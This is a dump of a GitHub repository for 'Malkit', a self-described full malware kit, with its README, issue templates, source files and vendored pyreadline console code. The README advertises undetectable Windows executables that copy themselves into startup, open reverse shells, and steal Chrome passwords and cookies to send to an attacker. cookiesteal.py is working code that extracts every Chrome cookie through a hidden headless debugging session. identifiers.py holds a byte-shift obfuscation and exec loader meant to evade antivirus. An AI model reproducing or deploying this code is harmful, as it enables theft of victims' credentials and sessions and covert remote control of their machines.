├── .github
└── ISSUE_TEMPLATE
│ ├── bug_report.md
│ └── feature_request.md
├── .gitignore
├── LICENSE
├── README.md
├── _malkit
├── __init__.py
├── cookiesteal.py
├── encrypt.py
└── identifiers.py
├── icons
├── icon.ico
└── icon2.ico
├── listeners
├── __init__.py
├── _pline
│ ├── __init__.py
│ ├── clipboard
│ │ ├── __init__.py
│ │ ├── ironpython_clipboard.py
│ │ ├── no_clipboard.py
│ │ └── win32_clipboard.py
│ ├── configuration
│ │ ├── pyreadlineconfig.ini
│ │ └── startup.py
│ ├── console
│ │ ├── __init__.py
│ │ ├── ansi.py
│ │ ├── console.py
│ │ ├── console_attributes.py
│ │ ├── consolebase.py
│ │ ├── event.py
│ │ └── ironpython_console.py
│ ├── error.py
│ ├── get_doc.py
│ ├── keysyms
│ │ ├── __init__.py
│ │ ├── common.py
│ │ ├── ironpython_keysyms.py
│ │ ├── keysyms.py
│ │ └── winconstants.py
│ ├── lineeditor
│ │ ├── __init__.py
│ │ ├── history.py
│ │ ├── lineobj.py
│ │ └── wordmatcher.py
│ ├── logger.py
│ ├── logserver.py
│ ├── modes
│ │ ├── __init__.py
│ │ ├── basemode.py
│ │ ├── emacs.py
│ │ ├── notemacs.py
│ │ └── vi.py
│ ├── py3k_compat.py
│ ├── release.py
│ ├── rlmain.py
│ ├── test
│ │ ├── __init__.py
│ │ ├── common.py
│ │ ├── test_emacs.py
│ │ ├── test_history.py
│ │ ├── test_lineeditor.py
│ │ └── test_vi.py
│ └── unicode_helper.py
└── listener.py
├── malkit.conf
├── malkit.py
├── requirements.txt
├── server.py
├── templates
├── chromepass_email.mtemp
├── chromepass_revshell.mtemp
├── downloader
│ ├── .vs
│ │ └── downloader
│ │ │ └── v16
│ │ │ ├── .suo
│ │ │ └── Server
│ │ │ └── sqlite3
│ │ │ ├── db.lock
│ │ │ ├── storage.ide
│ │ │ ├── storage.ide-shm
│ │ │ └── storage.ide-wal
│ ├── UpgradeLog.htm
│ ├── downloader.sln
│ └── downloader
│ │ ├── App.config
│ │ ├── Program.cs
│ │ ├── Properties
│ │ ├── AssemblyInfo.cs
│ │ ├── Resources.Designer.cs
│ │ ├── Resources.resx
│ │ ├── Settings.Designer.cs
│ │ ├── Settings.settings
│ │ └── app.manifest
│ │ ├── downloader.csproj
│ │ ├── downloader.csproj.user
│ │ ├── icon.ico
│ │ └── obj
│ │ ├── Debug
│ │ ├── downloader.Properties.Resources.resources
│ │ ├── downloader.TrustInfo.xml
│ │ ├── downloader.application
│ │ ├── downloader.csproj.FileListAbsolute.txt
│ │ ├── downloader.csproj.GenerateResource.Cache
│ │ ├── downloader.csprojResolveAssemblyReference.cache
│ │ ├── downloader.exe
│ │ ├── downloader.exe.manifest
│ │ └── downloader.pdb
│ │ ├── Release
│ │ ├── downloader.Properties.Resources.resources
│ │ ├── downloader.TrustInfo.xml
│ │ ├── downloader.application
│ │ ├── downloader.csproj.FileListAbsolute.txt
│ │ ├── downloader.csproj.GenerateResource.Cache
│ │ ├── downloader.csprojResolveAssemblyReference.cache
│ │ ├── downloader.exe
│ │ └── downloader.exe.manifest
│ │ └── test
│ │ ├── DesignTimeResolveAssemblyReferencesInput.cache
│ │ ├── TempPE
│ │ └── Properties.Resources.Designer.cs.dll
│ │ ├── downloader.Properties.Resources.resources
│ │ ├── downloader.TrustInfo.xml
│ │ ├── downloader.application
│ │ ├── downloader.csproj.FileListAbsolute.txt
│ │ ├── downloader.csproj.GenerateResource.Cache
│ │ ├── downloader.csprojAssemblyReference.cache
│ │ ├── downloader.csprojResolveAssemblyReference.cache
│ │ ├── downloader.exe
│ │ └── downloader.exe.manifest
├── errors
│ └── MB_OK.mtemp
├── listener.mtemp
├── malware.mtemp
└── stub.mtemp
└── testing
├── __init__.py
└── build.py
/.github/ISSUE_TEMPLATE/bug_report.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Bug report
3 | about: Create a report to help us improve
4 | title: "[BUG] "
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Describe the bug**
11 | A clear and concise description of what the bug is.
12 |
13 | **To Reproduce**
14 | Steps to reproduce the behavior:
15 | 1. Go to '...'
16 | 2. Click on '....'
17 | 3. Scroll down to '....'
18 | 4. See error
19 |
20 | **Expected behavior**
21 | A clear and concise description of what you expected to happen.
22 |
23 | **Screenshots**
24 | If applicable, add screenshots to help explain your problem.
25 |
26 | **Desktop (please complete the following information):**
27 | - OS: [e.g. iOS]
28 | - Python version and environment if applicable [e.g. python3.7, anaconda]
29 |
30 | **Additional context**
31 | Add any other context about the problem here.
32 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/feature_request.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Feature request
3 | about: Suggest an idea for this project
4 | title: "[FEATURE]"
5 | labels: ''
6 | assignees: ''
7 |
8 | ---
9 |
10 | **Is your feature request related to a problem? Please describe.**
11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
12 |
13 | **Describe the solution you'd like**
14 | A clear and concise description of what you want to happen.
15 |
16 | **Describe alternatives you've considered**
17 | A clear and concise description of any alternative solutions or features you've considered.
18 |
19 | **Additional context**
20 | Add any other context or screenshots about the feature request here.
21 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .vscode/settings.json
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
Malkit - Full malware kit
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 | Report Bug
37 | ·
38 | Request Feature
39 |
40 |
41 |
42 |
43 | ## Table of Contents
44 |
45 | * [About the Project](#about-the-project)
46 | * [AV Detection](#av-detection)
47 | * [Getting started](#getting-started)
48 | * [Prerequisites](#dependencies-and-requirements)
49 | * [Installation](#installation)
50 | * [Usage](#usage)
51 | * [Todo](#todo)
52 | * [Errors, Bugs and Feature Requests](#errors-bugs-and-feature-requests)
53 | * [Learn More](#learn-more)
54 | * [License](#license)
55 |
56 | ## About The project
57 | Malkit is a python-based console application that generates runtime-decrypted undetectable windows executables.
58 | It has the following features:
59 | - Copying itself into startup as a legitimate application
60 | - Connecting back to an attacker via reverse shell
61 | - Custom listener with upload, download and modular capability (in progress)
62 | - Chromepass feature:
63 | - Decrypt Chrome saved paswords ad well as all cookies
64 | - Send a file with the login/password combinations remotely (email or reverse shell)
65 | - Send a file with all the extracted cookies as well as another file with possible email-related cookies
66 | - Custom icon
67 | - Custom error message
68 | - Accurate location reporting. It can detect and send back a victim's accurate geolocation (not ip-based) (X)
69 | - Easy to use
70 | - Completely undetectable by AV engines
71 |
72 | Features marked with an X are still in development and aren't fully working but are already complete in internal testing.
73 | ### AV Detection!
74 | Due to the way this has been coded, it is currently fully undetected. Here are some links to scans performed
75 | - [From build_malware](https://www.virustotal.com/gui/file/61fc9c4ad472a240f4fd010958a0b0210f6513ed878bd47b90e25da871e52068/detection)
76 | - [From build_chromepass](https://antiscan.me/scan/new/result?id=kmpsMNccfuRJ)
77 | - Both scans yielded the result: 1/69 detections. The sole detection is a false positive by Sangfor Engine Zero. I tried submitting a simple hello world program for analysis and the same AV detected it as malware as well.
78 | - This is an educational project first and foremost, so distribution (or the lack thereof) is not a concern, hence the usage of VirusTotal
79 |
80 | ## Getting started
81 |
82 | ### Dependencies and Requirements
83 |
84 | For this application you need:
85 |
86 | * [Python] - Only tested on 3.7.5 on Anaconda environment but should work in 3.6+ (Doesn't work in 3.8 yet). No need to download it from here, just follow [Installation below](#installation)
87 | * ~~[VS build tools] - This is required to build some requirements. Please download it, install it and restart your computer **BEFORE** proceding to [Installation](#installation)~~ No longer needed due to last update. However, should you not be able to install the `requirements.txt`, open the file and downgrade `pexe37` to `0.9.6.4` and `darkarp` to `3.4` (ONLY if you get errors when installing the `requirements.txt`. For now, just go to [Installation](#installation) )
88 |
89 | ### Installation
90 |
91 | Chromepass requires [Python] 3.6+ to run.
92 | It has been tested on a full anaconda installation but it doesn't necessariliy require it. It doesn't work with Python 3.8 yet
93 | The instructions on the full setup are below.
94 |
95 | **Setup Anaconda environment:**
96 | - Visit [Anaconda](https://www.anaconda.com/distribution/#download-section) and download the graphical installer for windows.
97 | - Run the installer and make sure you select the checkbox "Add conda to path", even though it isn't recommended.
98 | - Open up a **new** powershell window **as administrator** and run:
99 | - `Set-ExecutionPolicy RemoteSigned`
100 | - Press `A` when it prompts you.
101 | - Close this window
102 | - Open up a normal powershell and enable conda to use it:
103 | - `conda init powershell`
104 | - Close and open a new powershell and update conda:
105 | - `conda update conda`
106 | - Create a new anaconda environment:
107 | - `conda create -n malkit python=3.7`
108 | - Activate your environment:
109 | - `conda activate malkit`
110 | - Note: Every time you open a new powershell and want to run malkit you need to activate your environment.
111 |
112 |
113 | **Clone the Repository and access its directory:**
114 | ```powershell
115 | > git clone https://github.com/darkarp/malkit.git
116 | > cd malkit
117 | ```
118 |
119 | **Install the dependencies:**
120 |
121 | ```powershell
122 | > pip install -r requirements.txt
123 | ```
124 |
125 | If any errors occur make sure you're running on the proper environment (if applcable) and that you have python 3.6+ < 3.8 (preferably 3.7.5).
126 | If the errors persist, try:
127 | ```powershell
128 | > python -m pip install --upgrade pip
129 | > python -m pip install -r requirements.txt
130 | ```
131 | If any errors **still** persist, make sure you have the following installed:
132 | * [VS build tools]
133 |
134 |
135 |
136 | ## Usage
137 |
138 | * Show the help screen
139 | - `python malkit.py -h`
140 |
141 | ```
142 | usage: python malkit.py [-h] {build_listener, build_malware, build_chromepass} ...
143 |
144 | positional arguments:
145 | {build_listener, build_malware, build_chromepass}
146 |
147 | optional arguments:
148 | -h, --help show this help message and exit
149 |
150 | ```
151 | * Access the help menu for individual arguments
152 | - `python malkit.py build_chromepass -h`
153 |
154 | ```
155 | usage: python malkit.py build_chromepass [-h] [--load] [--email] [--reverse_shell]
156 | [--no_error]
157 | [--errormsg Error message to appear]
158 | [--address Email address to send details to, if Email was chosen]
159 | [--port Port for reverse connection, if Reverse shell was chosen.]
160 | [--host Host reverse connection, if Reverse shell was chosen.]
161 |
162 | optional arguments:
163 | -h, --help show this help message and exit
164 | --load
165 | --email
166 | --reverse_shell
167 | --no_error
168 | --errormsg Error message to appear
169 | --address Email address to send details to, if Email was chosen
170 | --port Port for reverse connection, if Reverse shell was chosen.
171 | --host Host reverse connection, if Reverse shell was chosen.
172 |
173 | example:
174 |
175 | python malkit.py build_chromepass --email --address myemail@gmail.com
176 | python malkit.py build_chromepass --reverse_shell --host 127.0.0.1 -p 4444
177 | python malkit.py build_chromepass --load myfile.conf
178 | ```
179 |
180 |
181 | * Building an executable that grabs and sends chrome-saved passwords through email
182 | - `python malkit.py build_chromepass --email --address youremailaddress@yourdomain.com`
183 |
184 | * Creating a persistent reverse_shell with additional features
185 | - `python malkit.py build_malware --host 127.0.0.1 -p 444`
186 | - Replace the host with your external/internal ip as needed
187 | - Replace the port as needed
188 | - Make sure you build the listener as well and run it.
189 |
190 | * Creating a listener for the malware
191 | - `python malkit.py build_listener -p 444`
192 | - This is the listener for the malware
193 | - While in the shell, you can use the `list` command to see active sessions.
194 | - You can interact with a session by using the command: `interact::SESSION_NUMBER` where `SESSION_NUMBER` is the number of the session you want to connect with.
195 | - To go back into listener mode after interacting with a session, use the command ` MIT
226 |
227 | [Python]:
228 | [VS build tools]:
229 |
230 |
231 |
--------------------------------------------------------------------------------
/_malkit/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/_malkit/__init__.py
--------------------------------------------------------------------------------
/_malkit/cookiesteal.py:
--------------------------------------------------------------------------------
1 | import os
2 | import subprocess
3 | import requests
4 | import time
5 | import json
6 | import websocket
7 |
8 |
9 | class Cookiejar:
10 | def __init__(self, name="Default", domains={}):
11 | self.name = name
12 | self.domains = domains
13 |
14 | def add_cookie(self, domain, cookie):
15 | if cookie not in self.domains[domain]:
16 | self.domains[domain].append(cookie)
17 | return "SUCCESS"
18 | return "FAIL"
19 |
20 | def add_domain(self, domain):
21 | try:
22 | self.domains[domain]
23 | except KeyError:
24 | self.domains[domain] = []
25 | return "SUCCESS"
26 |
27 | def get_domain(self, domain):
28 | return(self.domains[domain])
29 |
30 | def get_broad_domain(self, broad_domain):
31 | response = {}
32 | for domain in self.domains:
33 | if broad_domain in domain and len(broad_domain) >= 3:
34 | response[domain] = []
35 | response[domain].append(self.domains[domain])
36 | return response
37 |
38 | def get_all(self):
39 | domain_list = []
40 | response = {}
41 |
42 | for domain in self.domains.keys():
43 | domain_list.append(domain)
44 |
45 | domain_list.sort(key=str.lower)
46 |
47 | for domain in domain_list:
48 | response[domain] = []
49 | response[domain].append(self.domains[domain])
50 |
51 | return response
52 |
53 |
54 | def chrome_spawn(CHROME_CMD: list):
55 | CREATE_NO_WINDOW = 0x08000000
56 | processes = []
57 | for CMD in CHROME_CMD:
58 | process = subprocess.Popen(
59 | CMD, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, creationflags=CREATE_NO_WINDOW)
60 | processes.append(process)
61 | time.sleep(2)
62 | return processes
63 |
64 |
65 | def get_user_data_dir():
66 | return r"%LOCALAPPDATA%\Google\Chrome\User Data"
67 |
68 |
69 | def get_chrome_cmd(port: int):
70 | CHROME_BASE = []
71 | CHROME_CMD = []
72 | user_data_dir = get_user_data_dir()
73 | remote_debugging_port = port
74 |
75 | # Windows 10
76 | CHROME_BASE.append(
77 | "\"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe\"")
78 |
79 | # Windows 7
80 | CHROME_BASE.append(
81 | "\"C:\Program Files (x86)\Google\Application\chrome.exe\"")
82 |
83 | CHROME_ARGS = [
84 | "https:://www.microsoft.com",
85 | "--headless",
86 | f"--user-data-dir=\"{user_data_dir}\"",
87 | f"--remote-debugging-port={remote_debugging_port}"
88 | ]
89 |
90 | CHROME_ARGS = " ".join(CHROME_ARGS)
91 |
92 | for CMD in CHROME_BASE:
93 | CHROME_CMD.append(f"{CMD} {CHROME_ARGS}")
94 |
95 | return CHROME_CMD
96 |
97 |
98 | def send_cookie_request(port: int):
99 | response = requests.get(
100 | f"http://localhost:{port}/json")
101 |
102 | url = response.json()[0].get("webSocketDebuggerUrl")
103 |
104 | return url
105 |
106 |
107 | def retrieve_cookies(url: str):
108 | QUERY = json.dumps({"id": 1, "method": "Network.getAllCookies"})
109 | ws = websocket.create_connection(url)
110 | ws.send(QUERY)
111 | result = ws.recv()
112 | ws.close()
113 |
114 | response = json.loads(result)
115 | cookies = response["result"]["cookies"]
116 |
117 | return cookies
118 |
119 |
120 | def dump_cookies(cookies):
121 | cj = Cookiejar()
122 | appdata = os.getenv("APPDATA")
123 |
124 | # Add domains and cookies to Cookiejar
125 | for cookie in cookies:
126 | domain = cookie['domain']
127 | cj.add_domain(domain)
128 | cj.add_cookie(domain, cookie)
129 |
130 | cj.get_broad_domain("mail")
131 | cookies = json.dumps(cj.get_all(), indent=4)
132 | cookies_email = json.dumps(cj.get_broad_domain("mail"), indent=4)
133 | with open(f"{appdata}\\cookies.json", "w") as f:
134 | f.write(cookies)
135 | with open(f"{appdata}\\cookies_email.json", "w") as f:
136 | f.write(cookies_email)
137 | return (cookies, cookies_email)
138 |
139 |
140 | def cleanup(processes: list):
141 | CREATE_NO_WINDOW = 0x08000000
142 | try:
143 |
144 | for process in processes:
145 | subprocess.run(
146 | f"taskkill /F /T /PID {process.pid}", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, creationflags=CREATE_NO_WINDOW)
147 | except Exception as err:
148 | pass
149 | # print(err)
150 |
151 |
152 | def cookiesteal(port: int = 9222):
153 | CHROME_CMD = get_chrome_cmd(port=9222)
154 |
155 | processes = chrome_spawn(CHROME_CMD)
156 | url = send_cookie_request(port)
157 |
158 | cookies = retrieve_cookies(url)
159 |
160 | cleanup(processes)
161 |
162 | dump_cookies(cookies)
163 |
164 |
165 | if __name__ == "__main__":
166 | cookiesteal()
167 |
--------------------------------------------------------------------------------
/_malkit/encrypt.py:
--------------------------------------------------------------------------------
1 | from darkarp.malkit_modules import identifiers
2 | from optparse import OptionParser
3 |
4 | def fully_decrypt(instance: identifiers.Malware = None, filename: str = None):
5 | if instance:
6 | instance.decrypt_file_fully()
7 | return 0
8 | elif filename:
9 | instance = identifiers.Malware(filename)
10 | instance.decrypt_file_fully()
11 | return 0
12 | else:
13 | return 1
14 |
15 | def encrypt(instance: identifiers.Malware = None, filename: str = None):
16 | if instance:
17 | instance.encrypt_file()
18 | return 0
19 | elif filename:
20 | instance = identifiers.Malware(filename)
21 | instance.encrypt_file()
22 | return 0
23 | else:
24 | return 1
25 | def display(filename):
26 | with open(filename, "rb") as f:
27 | print(f.read())
28 |
29 | if __name__ == "__main__":
30 | parser = OptionParser()
31 | parser.add_option("-f", "--file", dest="filename",
32 | help="file to encrypt", metavar="FILE")
33 | parser.add_option("-d", "--display", dest="display",
34 | help="file to display", metavar="DISPLAY")
35 | parser.add_option("-F", "--fully-decrypt", dest="fuldec")
36 |
37 | (options, args) = parser.parse_args()
38 | if options.filename:
39 | if options.display:
40 | display(options.filename)
41 | elif options.fuldec:
42 | instance = identifiers.Malware(options.filename)
43 | print(fully_decrypt(instance))
44 | else:
45 | instance = identifiers.Malware(options.filename)
46 | print(encrypt(instance))
47 |
--------------------------------------------------------------------------------
/_malkit/identifiers.py:
--------------------------------------------------------------------------------
1 | import time
2 | class Malware:
3 | def __init__(self, loc):
4 | self.loc = loc
5 |
6 | def encrypt_file(self):
7 | encrypted = []
8 | fun_start = b"def "
9 | for line in open(self.loc, "rb"):
10 | if line.startswith(fun_start):
11 | nl = 10
12 | encrypted.append((nl + 1).to_bytes(1, 'little'))
13 | encrypted.append((nl + 1).to_bytes(1, 'little'))
14 | for byte in line:
15 | encrypted.append((byte + 1).to_bytes(1, 'little'))
16 |
17 | else:
18 | for byte in line:
19 | encrypted.append((byte + 2).to_bytes(1, 'little'))
20 | with open(self.loc, "wb") as f:
21 | for line in encrypted:
22 | f.write(line)
23 | return True
24 |
25 | def runtime_encrypt(self):
26 | encrypted = []
27 | for line in open(self.loc, "rb"):
28 | for byte in line:
29 | encrypted.append((byte + 1).to_bytes(1, 'little'))
30 | with open(self.loc, "wb") as f:
31 | for line in encrypted:
32 | f.write(line)
33 | return True
34 |
35 | def decrypt_file(self):
36 | decrypted = []
37 | for line in open(self.loc, "rb"):
38 | for byte in line:
39 | decrypted.append((byte - 1).to_bytes(1, 'little'))
40 | with open(self.loc, "wb") as f:
41 | for line in decrypted:
42 | f.write(line)
43 |
44 | return True
45 |
46 | def decrypt_file_fully(self):
47 | self.decrypt_file()
48 | decrypted = []
49 | start = False
50 | for line in open(self.loc, "rb"):
51 | if line.decode().strip().startswith("def "):
52 | decrypted.append(line)
53 | start = True
54 | continue
55 | elif start:
56 | if line == b'\n':
57 | decrypted.append(b"\n")
58 | else:
59 | for byte in line:
60 | decrypted.append((byte - 1).to_bytes(1, 'little'))
61 |
62 | with open(self.loc, "wb") as f:
63 | for line in decrypted:
64 | f.write(line)
65 |
66 | return True
67 |
68 | def getFunc(self, name):
69 | loc = self.loc
70 | code = []
71 | found = False
72 | for line in open(loc, "rb"):
73 | if not found:
74 | stri = f"def {name}("
75 | if line.startswith(stri.encode()):
76 | found = True
77 | code.append(line)
78 | continue
79 | else:
80 | if not line.decode().strip():
81 | break
82 | else:
83 | code.append(line)
84 | code = b''.join(code)
85 | return Func(name, code)
86 |
87 |
88 | class Func:
89 | def __init__(self, name, code):
90 | self.name = name
91 | self.code = code
92 |
93 | def code_decrypt(self):
94 | decrypted = []
95 | code = self.code
96 | nl = 10
97 | decrypt = False
98 | for i in code:
99 | if i == nl:
100 | decrypt = True
101 | if decrypt:
102 | decrypted.append(((i - 1).to_bytes(1, 'little')))
103 | else:
104 | decrypted.append(i.to_bytes(1, 'little'))
105 | for byte in range(len(decrypted)):
106 | try:
107 | if decrypted[byte] == b"\r" and decrypted[byte + 1] == b"\t":
108 | decrypted[byte + 1] = b"\n"
109 | except:
110 | continue
111 |
112 | code_decrypt = b''.join(decrypted)
113 | self.code = code_decrypt
114 |
115 | return code_decrypt
116 |
117 | def exec(self):
118 | exec(self.code)
119 |
--------------------------------------------------------------------------------
/icons/icon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/icons/icon.ico
--------------------------------------------------------------------------------
/icons/icon2.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/icons/icon2.ico
--------------------------------------------------------------------------------
/listeners/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/listeners/__init__.py
--------------------------------------------------------------------------------
/listeners/_pline/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2003-2006 Gary Bishop.
4 | # Copyright (C) 2006 Jorgen Stenarson.
5 | #
6 | # Distributed under the terms of the BSD License. The full license is in
7 | # the file COPYING, distributed as part of this software.
8 | #*****************************************************************************
9 | from __future__ import print_function, unicode_literals, absolute_import
10 |
11 | from . import unicode_helper
12 | from . import logger, clipboard, lineeditor, modes, console
13 | from . rlmain import *
14 | from . import rlmain
15 |
--------------------------------------------------------------------------------
/listeners/_pline/clipboard/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function, unicode_literals, absolute_import
2 | import sys
3 | success = True
4 | in_ironpython = "IronPython" in sys.version
5 | if in_ironpython:
6 | try:
7 | from .ironpython_clipboard import GetClipboardText, SetClipboardText
8 | except ImportError:
9 | from .no_clipboard import GetClipboardText, SetClipboardText
10 |
11 | else:
12 | try:
13 | from .win32_clipboard import GetClipboardText, SetClipboardText
14 | except ImportError:
15 | from .no_clipboard import GetClipboardText, SetClipboardText
16 |
17 |
18 | def send_data(lists):
19 | SetClipboardText(make_tab(lists))
20 |
21 |
22 | def set_clipboard_text(toclipboard):
23 | SetClipboardText(str(toclipboard))
24 |
25 | def make_tab(lists):
26 | if hasattr(lists, "tolist"):
27 | lists = lists.tolist()
28 | ut = []
29 | for rad in lists:
30 | if type(rad) in [list, tuple]:
31 | ut.append("\t".join(["%s"%x for x in rad]))
32 | else:
33 | ut.append("%s"%rad)
34 | return "\n".join(ut)
35 |
36 | def make_list_of_list(txt):
37 | def make_num(x):
38 | try:
39 | return int(x)
40 | except ValueError:
41 | try:
42 | return float(x)
43 | except ValueError:
44 | try:
45 | return complex(x)
46 | except ValueError:
47 | return x
48 | return x
49 | ut = []
50 | flag = False
51 | for rad in [x for x in txt.split("\r\n") if x != ""]:
52 | raden=[make_num(x) for x in rad.split("\t")]
53 | if str in list(map(type,raden)):
54 | flag = True
55 | ut.append(raden)
56 | return ut, flag
57 |
58 |
59 | def get_clipboard_text_and_convert(paste_list=False):
60 | """Get txt from clipboard. if paste_list==True the convert tab separated
61 | data to list of lists. Enclose list of list in array() if all elements are
62 | numeric"""
63 | txt = GetClipboardText()
64 | if txt:
65 | if paste_list and "\t" in txt:
66 | array, flag = make_list_of_list(txt)
67 | if flag:
68 | txt = repr(array)
69 | else:
70 | txt = "array(%s)"%repr(array)
71 | txt = "".join([c for c in txt if c not in " \t\r\n"])
72 | return txt
73 |
74 |
--------------------------------------------------------------------------------
/listeners/_pline/clipboard/ironpython_clipboard.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2006 Jorgen Stenarson.
4 | #
5 | # Distributed under the terms of the BSD License. The full license is in
6 | # the file COPYING, distributed as part of this software.
7 | #*****************************************************************************
8 | from __future__ import print_function, unicode_literals, absolute_import
9 | import clr
10 | clr.AddReferenceByPartialName("System.Windows.Forms")
11 | import System.Windows.Forms.Clipboard as cb
12 |
13 | def GetClipboardText():
14 | text = ""
15 | if cb.ContainsText():
16 | text = cb.GetText()
17 |
18 | return text
19 |
20 | def SetClipboardText(text):
21 | cb.SetText(text)
22 |
23 | if __name__ == '__main__':
24 | txt = GetClipboardText() # display last text clipped
25 | print(txt)
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/listeners/_pline/clipboard/no_clipboard.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2006 Jorgen Stenarson.
4 | #
5 | # Distributed under the terms of the BSD License. The full license is in
6 | # the file COPYING, distributed as part of this software.
7 | #*****************************************************************************
8 | from __future__ import print_function, unicode_literals, absolute_import
9 |
10 |
11 | mybuffer = ""
12 |
13 | def GetClipboardText():
14 | return mybuffer
15 |
16 | def SetClipboardText(text):
17 | global mybuffer
18 | mybuffer = text
19 |
20 |
--------------------------------------------------------------------------------
/listeners/_pline/clipboard/win32_clipboard.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #*****************************************************************************
3 | # Copyright (C) 2003-2006 Jack Trainor.
4 | # Copyright (C) 2006 Jorgen Stenarson.
5 | #
6 | # Distributed under the terms of the BSD License. The full license is in
7 | # the file COPYING, distributed as part of this software.
8 | #*****************************************************************************
9 | ###################################
10 | #
11 | # Based on recipe posted to ctypes-users
12 | # see archive
13 | # http://aspn.activestate.com/ASPN/Mail/Message/ctypes-users/1771866
14 | #
15 | #
16 |
17 | ###################################################################################
18 | #
19 | # The Python win32clipboard lib functions work well enough ... except that they
20 | # can only cut and paste items from within one application, not across
21 | # applications or processes.
22 | #
23 | # I've written a number of Python text filters I like to run on the contents of
24 | # the clipboard so I need to call the Windows clipboard API with global memory
25 | # for my filters to work properly.
26 | #
27 | # Here's some sample code solving this problem using ctypes.
28 | #
29 | # This is my first work with ctypes. It's powerful stuff, but passing arguments
30 | # in and out of functions is tricky. More sample code would have been helpful,
31 | # hence this contribution.
32 | #
33 | ###################################################################################
34 | from __future__ import print_function, unicode_literals, absolute_import
35 |
36 | import ctypes
37 | import ctypes.wintypes as wintypes
38 | from ctypes import *
39 | from _pline.keysyms.winconstants import CF_UNICODETEXT, GHND
40 | from _pline.unicode_helper import ensure_unicode,ensure_str
41 |
42 | OpenClipboard = windll.user32.OpenClipboard
43 | OpenClipboard.argtypes = [wintypes.HWND]
44 | OpenClipboard.restype = wintypes.BOOL
45 |
46 | EmptyClipboard = windll.user32.EmptyClipboard
47 |
48 | GetClipboardData = windll.user32.GetClipboardData
49 | GetClipboardData.argtypes = [wintypes.UINT]
50 | GetClipboardData.restype = wintypes.HANDLE
51 |
52 | GetClipboardFormatName = windll.user32.GetClipboardFormatNameA
53 | GetClipboardFormatName.argtypes = [wintypes.UINT, c_char_p, c_int]
54 |
55 | SetClipboardData = windll.user32.SetClipboardData
56 | SetClipboardData.argtypes = [wintypes.UINT, wintypes.HANDLE]
57 | SetClipboardData.restype = wintypes.HANDLE
58 |
59 | EnumClipboardFormats = windll.user32.EnumClipboardFormats
60 | EnumClipboardFormats.argtypes = [c_int]
61 |
62 | CloseClipboard = windll.user32.CloseClipboard
63 | CloseClipboard.argtypes = []
64 |
65 |
66 | GlobalAlloc = windll.kernel32.GlobalAlloc
67 | GlobalAlloc.argtypes = [wintypes.UINT, c_size_t]
68 | GlobalAlloc.restype = wintypes.HGLOBAL
69 | GlobalLock = windll.kernel32.GlobalLock
70 | GlobalLock.argtypes = [wintypes.HGLOBAL]
71 | GlobalLock.restype = c_void_p
72 | GlobalUnlock = windll.kernel32.GlobalUnlock
73 | GlobalUnlock.argtypes = [c_int]
74 |
75 | _strncpy = ctypes.windll.kernel32.lstrcpynW
76 | _strncpy.restype = c_wchar_p
77 | _strncpy.argtypes = [c_wchar_p, c_wchar_p, c_size_t]
78 |
79 |
80 | def enum():
81 | OpenClipboard(0)
82 | q = EnumClipboardFormats(0)
83 | while q:
84 | q = EnumClipboardFormats(q)
85 | CloseClipboard()
86 |
87 | def getformatname(format):
88 | buffer = c_buffer(" "*100)
89 | bufferSize = sizeof(buffer)
90 | OpenClipboard(0)
91 | GetClipboardFormatName(format, buffer, bufferSize)
92 | CloseClipboard()
93 | return buffer.value
94 |
95 | def GetClipboardText():
96 | text = ""
97 | if OpenClipboard(0):
98 | hClipMem = GetClipboardData(CF_UNICODETEXT)
99 | if hClipMem:
100 | text = wstring_at(GlobalLock(hClipMem))
101 | GlobalUnlock(hClipMem)
102 | CloseClipboard()
103 | return text
104 |
105 | def SetClipboardText(text):
106 | buffer = create_unicode_buffer(ensure_unicode(text))
107 | bufferSize = sizeof(buffer)
108 | hGlobalMem = GlobalAlloc(GHND, c_size_t(bufferSize))
109 | GlobalLock.restype = c_void_p
110 | lpGlobalMem = GlobalLock(hGlobalMem)
111 | _strncpy(cast(lpGlobalMem, c_wchar_p),
112 | cast(addressof(buffer), c_wchar_p),
113 | c_size_t(bufferSize))
114 | GlobalUnlock(c_int(hGlobalMem))
115 | if OpenClipboard(0):
116 | EmptyClipboard()
117 | SetClipboardData(CF_UNICODETEXT, hGlobalMem)
118 | CloseClipboard()
119 |
120 | if __name__ == '__main__':
121 | txt = GetClipboardText() # display last text clipped
122 | print(txt)
123 |
--------------------------------------------------------------------------------
/listeners/_pline/configuration/pyreadlineconfig.ini:
--------------------------------------------------------------------------------
1 | #Bind keys for exit (keys only work on empty lines
2 | #disable_readline(True) #Disable _pline completely.
3 | from __future__ import print_function, unicode_literals, absolute_import
4 | debug_output("off") #"on" saves log info to./_pline_debug_log.txt
5 | #"on_nologfile" only enables print warning messages
